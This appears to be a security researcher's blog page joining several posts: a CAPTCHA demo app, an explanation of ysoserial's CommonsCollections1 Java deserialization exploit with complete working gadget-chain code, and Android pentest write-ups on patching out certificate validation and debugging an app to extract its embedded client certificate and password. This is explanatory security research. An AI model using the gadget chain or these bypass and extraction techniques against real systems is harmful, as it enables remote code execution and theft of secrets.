I Click Therefore I Am - PixelCAPTCHA Demo App

TL; DR - Everyones hates CAPTCHAs! So do I. But I wrote a new one anyway :p. It's a visual CAPTCHA scheme that can be solved with 2-4 mouse clicks and is named pixelcaptcha.

Here are the links to a borderline ugly demo web application (I like to think its borderline), a detailed white paper (you may like it) and its Java source code (with gory Maths - you've been warned).

Long Story
This post is to talk about a fancy kid in the CAPTCHA town that now happens to have a demo web app for you to play with. It was first demo'ed at BlackHat USA Arsenal. It's source code has been available for a while but I finally got around to creating a demo web app and wanted to share it via this blog so that the security and developer community can play around and share feedback.


The Demo Web Application
To solve a CAPTCHA, you need to find the black characters similar to be blue ones and hit submit. If you accidentally select a wrong character, you can use the 'Clear Selection' button to clear your selection. I should point out that a CAPTCHAs are good only for one use. If you submit wrong solution once, attempts to solve the same CAPTCHA again will result in error message.

The demo web application has several components to it. It allows you to generate and solve new CAPTCHAs and try out different CAPTCHA configurations. At the backend, the demo application uses the open source CAPTCHA library.

When you visit the demo app for the first time, the default CAPTCHA configuration is used, which you can change by providing a new configuration. The default configuration has:

• Horizontal CAPTCHAs
• Two challenge characters 
• Ten response characters to choose from
• The characters to draw the CAPTCHA are chosen from 0-255 unicode point range
• Unordered solution

The image below shows an example solved CAPTCHA with default configuration.

The Three Control Buttons
You will see three buttons under the CAPTCHA image which let you perform the actions as described below:

1. New Captcha - The New Captcha button refreshes with a new CAPTCHA for you to try out
2. Submit Solution - Once you are confident that you have solved the CAPTCHA correctly, you can submit the solution to the server for validation. A CAPTCHA solution can be submitted to server only once with the 'Submit Solution' button. Any additional attempts result in an error. 
3. Clear Selection - If you have not yet submitted the CAPTCHA solution to the server, you can use this option as many times as you like. When you need to change your solution you can click on this button to clear you solution and reload the same CAPTCHA. This option is useful only if it is exercised before the CAPTCHA solution is submitted to the server.

Message Box
The text in the bottom right box displays information about your most recent actions. The text color legend and some example messages are provided below.

• Blue color indicates CAPTCHA configuration updates. The image below shows a CAPTCHA configuration.

• Green color indicates that correct CAPTCHA solution was provided. The image below shows that a correct CAPTCHA solution was provided

• Red color indicates that in correct CAPTCHA solution was provided. The image below shows that the CAPTCHA solution that was provided was for a CAPTCHA ID that has either expired or is not present.

Different CAPTCHA Configurations
When you select a new value from any dropdown, a new CAPTCHA configuration will be set on the server and the on-screen CAPTCHA will be refreshed with the new configuration. The instructions at the top of the page are also updated based on the challenge character count. I'll briefly explain different configuration options that you can try out on the demo application.

1. Challenge Count - Changing this value sets the total number of challenge characters. It can take 2, 3 or 4 as a valid value. For example, if you set it to 4, you will see 4 blue characters and you will need to choose four black characters similar to the blue challenge characters.
2. Response Count -  Changing this value set the total number of response characters to choose from. It can take 10, 11 or 12 as a valid value.
3. CAPTCHA Orientation - You can generate vertical or horizontal CAPTCHAs for different type of target screens. A vertical CAPTCHA may be more suitable for the mobile devices, a horizontal CAPTCHA may be more suitable for desktops.
4. Unicode Code Point Range - This allows you to provide the unicode character range to choose from. The default value is 0-255. However, you can choose 0-4095 or 0-65535 to use larger character space to pick and use for CAPTCHA challenge and response characters from. The library allows you to provide comma separated arbitrary code points.
5. Ordered Clicks - When set to true, the CAPTCHA solution should follow the order in which the challenge characters appear in the CAPTCHA. For horizontal CAPTCHA, find the topmost challenge character among the response characters and click on it first, then move to the second from top, and so on. For vertical CAPTCHA, find the leftmost challenge character among the response characters and click on it, and so on.

A Few Example CAPTCHAs and The Corresponding Configuration

• Image shows a horizontal CAPTCHA with 4 challenge characters, 10 response characters and unicode character range 0-4095

• Image shows a vertical CAPTCHA with 2 challenge characters, 10 response characters and unicode character range 0-4095

• Image shows a CAPTCHA with 4 challenge characters, 12 response characters to choose from and unicode character range 0-65535

I'll be looking forward for your feedback. Please feel free to leave feedback here, log bugs on GitHub or directly reach out to me. Thank you!

Understanding ysoserial's CommonsCollections1 exploit

Last year, ysoserial was released by frohoff and gebl. It is a fantastic piece of work. The tool provides options to generate several different types of serialized objects, which when deserialized, can result in arbitrary code execution if the right classes are present in the classpath. In this blog post, I will discuss the CommonsCollections1 exploit, and its working, available in the ysoserial toolkit.

All code snippets used in this post are sourced from ysoserial

An Overview
The CommonsCollections1 exploit builds a custom AnnotationInvocationHandler object that contains an InvokerTransformer (Apache Commons Collections class) payload, and outputs the serialized object. When the serialized object is deserialized, the code path from AnnotationInvocationHandler's readObject leads to InvokerTransformer's payload, causing code execution.

The image below shows the custom AnnotationInvocationHandler object used for RCE.



Image 1: The serialized AnnotationInvocationHandler


What makes the exploit effective is that it only relies on the classes present in Java and Apache Commons Collections. The CommonsCollections1 leverages following classes from JDK and Commons Collections.

From JDK

1. AnnotationInvocationHandler
2. Proxy
3. Map
4. Override
5. InvocationHandler
6. Runtime

From Commons Collections:

1. LazyMap
2. Transformer
3. ChainedTransformer
4. InvokerTransformer

So, as long a Java software stack contains Apache commons Collections library (<= 3.2.1), it will be vulnerable to remote code execution attacks while deserializing untrusted objects.


Pre-requisites
It will be helpful to refer to the following Classes and concepts as we work our way to understanding the exploit.

1. Java Serialization and Deserialization mechanisms
2. ObjectInputStream - including readObject()
3. Proxy
4. InvocationHandler
5. Transformer
6. LazyMap
7. ChainedTransformer
8. InvokerTransformer - Instances of this class were used to perform code execution and we will discuss this in more details below.

Since InvokerTransformer class is the eventual sink that performs code execution, lets us take a closer look at it. An InvokerTransformer constructor takes three parameters:

1. Name of the method
2. parameter types the method accepts
3. Parameters values

An InvokerTransformer instance accepts an object as input and outputs the transformed object. The transformation is determined by the instantiation parameters. The InvokerTransformer first finds a method with the method name (specified as first parameter) that accepts the given parameters types (specified as second parameter)  on the incoming object. Upon finding a matching method, the method on the incoming object and the parameter values from (3) as passed as arguments into the method. The returned value is the value of the method execution.


Image 2: Shows InvokerTransformer


Payload Only Execution

Assuming you understand how Transformers, ChainedTransformers and LazyMaps work, we will look at CommonsCollection1's payload only execution using a ChainedTransformer. When you run the class below , it will open a calculator on a Mac.

public class CommonsCollections1PayloadOnly {
    public static void main(String... args) {
        String[] command = {"open -a calculator"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //(1)
                new InvokerTransformer("getMethod",
                        new Class[]{ String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ), //(2)
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ), //(3)
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                ) //(4)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        lazyMap.get("gursev");
    }
}

The image below shows the execution flow when the chainedTransformer in the code snippet above is executed while setting a value on the lazyMap. The number in braces correspond to the individual Transformer execution in the code snippet above.





Image 3: Shows chainedTransfomer invocation when a value is set on the LazyMap


Putting it all together

The code below performs both serialization and deserialization. It also executes the command to open a calculator during the deserialization process.

1. The getEvilObject creates a Java Object that can arbitrary code when deserialized. The object structure is provided in Image 1
2. The serializeToByteArray method serializes the evilObject to a byte array
3. The deserializeFromByteArray deserializes the object from the binary array. If Apache CommonsCollections library (<=3.2.1) is present in the classpath, the command also gets executed.

public class CommonsCollections1All {

    public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Object evilObject = getEvilObject();
        byte[] serializedObject = serializeToByteArray(evilObject);
        deserializeFromByteArray(serializedObject);
    }

    public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {

        String[] command = {"open -a calculator"};

        final Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",
                        new Class[]{ String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),

                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),

                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                )
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        Proxy evilProxy = (Proxy) Proxy.newProxyInstance(CommonsCollections1All.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler );

        InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
        return invocationHandlerToSerialize;

    }

    public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
        ois.readObject();
    }

    public static byte[] serializeToByteArray(Object object) throws IOException {
        ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
        objectOutputStream.writeObject(object);
        return serializedObjectOutputContainer.toByteArray();
    }

    public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
        ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
        InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
        return evilInvocationHandler;
    }
}



The code path flow leading to code execution is discussed below and is also summarized in image 4.

1. The ObjectInputStream calls the readObject() method
2. On method invocation, the JVM looks for the serialized Object's class in the classpath. If the class is not found, ClassNotFoundException is thrown. If the class is found, readObject() method of the identified class (AnnotationInvocationHandler) is invoked. This process is followed for all types of objects that get serialized with the CommonsCollections1 payload.
3. The readObject method inside the AnnotationInvocationHandler invokes entrySet method on the MapProxy.
4. The method invocation on the Proxy is transferred to AnnotationInvoctionHandler corresponding to the MapProxy instance along with the method and a blank array.
5. The lazyMap attempts to retrieve a value with key equal to the method name "entrySet".
6. Since that key does not exist, the lazyMap instance goes ahead and tries to create a new key with the name "entrySet".
7. Since a chainedTransformer is set to execute during the key creation process, the chained transformer with the malicious payload is invoked, leading to remote code execution.

Image 4: Shows the code path to RCE


The following three images show the actual code path traversed from AnnotationInvocationHandler class leading up to LazyMap's ChainedTransformer invocation, resulting in RCE.


Image 5: Shows AnnotationInvocationHandler's readObject() method that calls entrySet() on mapProxy



Image 6: Shows AnnotationInvocationHandler's invoke method that was attached to the mapProxy



Image 7: Shows transformer invocation when a key is not present

Patching an Android Application to Bypass Custom Certificate Validation

One of the important tasks while performing mobile application security assessments is to be able to intercept the traffic (Man in The Middle, MiTM) between the mobile application and the server by a web proxy like Fiddler, Burp etc… This allows penetration tester to observe application behavior, modify the traffic and overcome the input restrictions enforced by application’s user interface to perform a holistic penetration test.

Mobile applications exchanging sensitive data typically use HTTPS protocol for data exchange as allows them to perform server authentication to ensure a secure communication channel. The client authenticates the server by verifying server’s certificate against its trusted root certificate authority (CA) store and also checks the certificate’s common name against the domain name of the server presenting the certificate. To perform MiTM on the HTTPS traffic for mobile application, web proxy’s certificate is imported to the trusted root CA store otherwise the application may not function due to certificate errors.

On a recent Android application assessment, I setup a web proxy to intercept mobile application’s SSL traffic by importing its certificate to device’s trusted root CA store. To ensure that the imported CA certificate works fine, I used Android’s browser to visit a couple of SSL based websites and the browser accepted the MiTM’ed traffic without complains. Typically, the native Android applications also use the common trusted root CA store to validate server certificates, so no extra work is required to intercept their traffic. However, the application I was testing was different as we will see below.

Analyzing the Unsuccessful MiTM

When I launched the application and attempted pass its traffic through the web proxy, it displayed an error screen indicating that it could not connect to the remote server because of no internet connection or it could not establish a connection for unknown reasons. Things were not adding up as this configuration has mostly worked in the past so I turned to analyzing systems logs and SSL cipher suite support.

Logcat

Logcat is Android’s logging mechanism that is used to view application debug messages and logs. I ran adb logcat to check if the application under test created any stack trace indicating the cause of the error but there was none. The application also did not leave any debug logs indicating that the developers did a good job with the error handling and did not write debug messages that could potentially expose application internal working to prying eyes.

Common SSL Cipher suites

When a web proxy acts as a MiTM between client and the server, it establishes two SSL communication channels. One channel is with the client to receive requests and return responses, the second channel is to forward application requests to the server and receive server responses. To establish these channels, the web proxy has to agree on common SSL cipher suits with both the client and the server and these cipher suites may not be the same as shown in the image below.

I have observed SSL proxying errors in the past to occur in one or both of the following scenarios which lead to failures while establishing a communication channel.

1. Android application and the web proxy do not share any common SSL cipher suite.
2. The web proxy and the server do not share any common SSL cipher suite.

In both scenarios, the communication channel cannot be established and the application does not work. To analyze the above mentioned scenarios, I fired up Wireshark to analyze SSL handshake between the application and the web proxy, and discovered that they shared common SSL cipher suites.

With the first scenario ruled out, I issued a HTTPS request to the server with the web proxy and that appeared to work without any errors indicating presence of common SSL ciphers between web proxy and the server.

So the web proxy was capable of performing MiTM for the test application and there was something else going under the hood.

Custom Certificate Validation

It was at this point that I started to look into the possibility of the application performing custom certificate validation to prevent the possibility of MiTM to monitor/modify its traffic flow. HTTPS clients can perform custom certificate validation by implementing the X509TrustManager interface and then using it for its HTTPS connections. The process of creating HTTPS connections with custom certificate validation is summarized below:

1. Implement methods of the X509TrustManager interface as required. The server certificate validation code will live inside the checkServerTrusted method. This method will throw an exception if the certificate validation fails or will return void otherwise.
2. Obtain a SSLContext instance.
3. Create an instance of the X509TrustManager implementation and use it to initialize SSLContext.
4. Obtain SSLSocketFactory from the SSLContext instance.
5. Provide the SSLSocketFactory instance to setSSLSocketFactory method of the HttpsURLConnection.
6. Instance of HttpsURLConnection class will then communicate with the server and will invoke checkServerTrusted method to perform custom server certificate validation.

Searching the decompiled code revealed X509TrustManager implementation in one of the core security classes of the application. The next step was to patch the code preventing the MiTM and deploy it for testing. The image two methods implemented for X509TrustManager.

Patching the checkServerTrusted Implementation

The image above shows implementation for two X509TrustManager methods, checkServerTrusted and checkClientTrusted. At this point it is important to point out that both the methods behave in a similar way except that the former is used by client side code and the latter is used by server side code. If the certificate validation fails, they would throw an exception, otherwise they return void.

The checkClientTrusted implementation allows the server side code to validate client certificate. Since this functionality is not required inside the mobile application, this method was empty and returned void for the test application; which is equivalent to successful validation. However, the checkServerTrusted contained significant chunk of code performing the custom certificate validation which I needed to bypass.

To bypass certificate validation code inside the checkServerTrusted method, I replaced its Dalvik code with the code from the checkClientTrusted method to return void, effectively bypassing the custom certificate check as shown in the image below.

Recompiling and Deploying the Modified Application

Confident that all checkServerTrusted invocations from this point onwards were going to be successful, I recompiled the application with ApkTool, signed it with SignApk and deployed it on the device. The web proxy MiTM worked like a charm and I was able view, modify and fuzz application traffic.

Debugging Out a Client Certificate from an Android Process

I had setup my web proxy to intercept the Android application’s traffic, tested the proxy configuration with HTTPS based Android applications and the traffic interception worked like a charm. However, for the application under test, things were different. Connections to the applications’ server returned HTTP 403 error code because SSL mutual authentication was enforced and I did not have the client certificate. The image below shows the error message.

I was in a situation where no meaningful communication could be established with the remote server. The resource files obtained by decompiling the application did not contain containing the client certificate and it was clear that it was stored in the obfuscated code somewhere.

The RSAPrivateCrtKey and two certificates were already extracted from the application’s memory as discussed in the previous blog post. As it turned out, those were not sufficient and I still needed the client certificate and the corresponding password to be able to connect to the server and test the server side code. This blog post will how they were retrieved by debugging the application.

Identifying the Code Using the Client Certificate

The knowledge of how Java clients use SSL certificate to support client authentication proved critical during this assessment and helped me identify the function calls to look for during the debugging process. The typical steps followed to load a client certificate for a HttpsURLConnection are summarized below:

1. Create instances of following classes:
1. HttpsURLConnection – to communicate with the remote server
2. KeyStore – to hold client certificate
3. KeyManagerFactory – to hold KeyStore
4. SSLContext – to hold KeyManager
2. Create File instance for the client certificate and wrap it inside an InputStream
3. Invoke KeyStore instance’s load method with InputStream from step 2 and certificate password as char[] so it contains the client certificate
4. Feed the  KeyManagerFactory instance with KeyStore from step 3 and certificate password by invoking its init method
5. Obtain KeyManager[] array from the KeyManagerFactory created above
6. Invoke SSLContext intance’s init method and feed it the KeyManager[] from step 5
7. Obtain a SSLSocketFactory from the created SSLContext and setup the HttpsURLConnection instance to use it for all SSL communication.

The following image depicts the steps discussed:

Instantiating a KeyStore and loading an InputStream for a client certificate are central to SSL client authentication support. So I searched the decompiled code for KeyStore class usage, corresponding instance variables and identified classes and methods that were potentially configuring the client side SSL certificate for HttpsURLConnection.

Locating the Debug Points

I continued to eliminate KeyStore usages till I identified the class and method I was interested in. The identified class and method did not refer to any resource files to get the client certificate and its password but relied on couple of function calls to get the byte[] representation for client certificate and String representation for the password before feeding them to the load method of the KeyStore instance. Following the code paths led me to the two magic strings that I was looking for. They appeared to be Base64 encoded values of client certificate and the corresponding password.

Base64 decoding them returned gibberish which could not be put to any practical use as there was more to the encoded values than plain Base64 encoding. Further analysis revealed that they were subjected to standard crypto algorithms, and those algorithms were fed their Initialization Vectors and Encryption Keys from other Java classes. Additionally, the application also used some custom data manipulation tricks to further obfuscate them.

With limited time at hand I decided to briefly shelve the code analysis and move to application debugging to inspect the exact code points of interest for data extraction. To help with the debugging process, I noted down the class name, method name, and instance variable of interest where the potential client certificate and password were fed to the KeyStore instance.

Setting up the Application for Debugging

Reviewing AndroidManifest.xml of the decompiled application indicated that the application was not compiled with the debug flag and hence could not be debugged on a device. So I added the debug flag, recompiled it, signed the application and then installed it on the device. The following steps summarize the process of creating debuggable versions of existing Android applications if you plan to debug the application on an actual device.

1. Decompile the application with apktool
2. Add android:debuggable="true" attribute to the application element in the AndroidManifest.xml
3. Recompile the application with apktool
4. Sign the application with SignApk
5. Install the application

The image below shows the debuggable attribute added to the AndroidManifest.xml file of the target application.

If you are using an emulator, you can extract the application from the device, install it on the emulator and attach a debugger without decompiling or adding the debuggable attribute to the AndroidManifest.xml file.

Let us now look at some of the important pieces of the debugging setup that was used.

Java Debug Wire Protocol (JDWP)

The Java Debug Wire Protocol is a protocol used for communication between a JDWP compliant debugger and the Java Virtual machine. The Dalvik Virtual Machine that is responsible for running the applications on Android devices supports JDWP as it debugging protocol. Each application that runs on a Dalvik VM exposes a unique port to which JDWP compliant debuggers can attach and debug the application.

Once the application was installed on the device in debug mode, the next step was to attach a JDWP compliant debugger, such as jdb, and get going.

jdb – The Java Debugger

jdb is a JDWP compatible command-line debugger that ships with Java JDK and I use jdb for its command line goodness. The typical process of attaching jdb to an Android application is summarized below:

1. Launch the application that you want to debug
2. Obtain its process ID
3. Use adb to port forward JDWP connection to the application JDWP port
4. Attach jdb to the application
5. Set breakpoints and debug the application

The following resources can get you started on jdb debugging with Android.

1. Using various JDB commands - http://droiddebugger.blogspot.com/2012/05/droiddebugger.html#!/2012/05/droiddebugger.html
2. JDB Command reference - http://droiddebugger.blogspot.com/2012/05/command-reference-for-jdb.html
3. Command line Android debugging - http://codeseekah.com/2012/02/16/command-line-android-development-debugging/

Debugging for the Client Certificate

At this point, I knew the exact locations where breakpoints were needed to obtain client certificate and corresponding password. I setup the breakpoints in the functions that invoked the load method of a KeyStore instance to store the client certificate. So I launched the application and then browsed to the functionalities that would invoke the code paths leading to the breakpoints.

After hitting the breakpoint, I executed jdb dump to query the instance variable and invoked its different methods to retrieve the important information. The instances variable of interest was of class g. The Java class under analysis retrieved client certificate and its password by the following calls before feeding them to the load method:

1. It called a method b()on its instance variable “g” to obtain the certificate password and converted it to char[]
2. It called a method a() on its instance variable “g” to obtain byte[] representation of client certificate and wrapped it in a ByteArrayInputStream.

The following screenshot shows the rundown leading up to the client certificate and the password.

After obtaining the byte[] dump of the client certificate, I created the pfx file with following Java code and then imported it to my browser store and also inside the web proxy.

import java.io.FileOutputStream; import java.io.IOException; public class PfxCreatorFromByteArray { public static void main(String... args) throws IOException { // Contains the byte[]for client certificate byte[] pfx = {48, -126, <more byte's here>}; FileOutputStream fos = new FileOutputStream("client-cert.pfx"); fos.write(pfx); fos.close(); } }

The following image shows successful client certificate import.

The imported client certificate then allowed me to successfully engage and assess the server portion of the application. In addition to the client certificate, combining the static and dynamic analysis techniques also allowed me to retrieve other sensitive information like Initialization Vectors, Encryption Keys etc… from the application.